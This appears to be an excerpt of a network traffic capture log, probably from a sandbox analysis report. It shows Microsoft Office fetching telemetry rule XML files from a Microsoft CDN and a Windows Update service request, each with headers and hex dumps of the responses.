2024-10-30 14:59:14 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:14 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145914Z-16849878b78nzcqcd7bed2fb6n00000000kg00000000ga4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:14 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:14 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145914Z-17c5cb586f6wmhkn5q6fu8c5ss00000007mg0000000092ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:14 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:37 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145937Z-16849878b78z2wx67pvzz63kdg00000006qg00000000t5r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:15 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:15 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145915Z-15b8d89586fst84kttks1s2css00000001sg00000000h7hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:15 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=
2024-10-30 14:59:38 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:38 UTC	591	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 36338d89-501e-0064-6fcd-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145938Z-17c5cb586f6fqqst87nqkbsx1c00000006s00000000013fb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 14:59:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:15 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:15 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145915Z-16849878b78bcpfn2qf7sm6hsn00000009r000000000rk00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:15 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:15 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:15 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145915Z-16849878b78km6fmmkbenhx76n00000007hg00000000c85w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:15 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:38 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145938Z-16849878b78bjkl8dpep89pbgg00000006yg0000000064z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:15 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:15 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145915Z-16849878b787wpl5wqkt5731b400000008y000000000ec3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:15 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49766	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 14:59:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: afe239db-7928-48db-bc73-37286cfadb8c MS-RequestId: 3ebd5b99-87f4-43fe-8e44-bbf35ce04b47 MS-CV: KavVcgpYE02Egh8R.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 14:59:15 GMT Connection: close Content-Length: 24490
2024-10-30 14:59:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 14:59:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:16 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:16 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a606ba7c-601e-003d-0781-2a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145916Z-r197bdfb6b46krmwag4tzr9x7c0000000850000000002x3x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
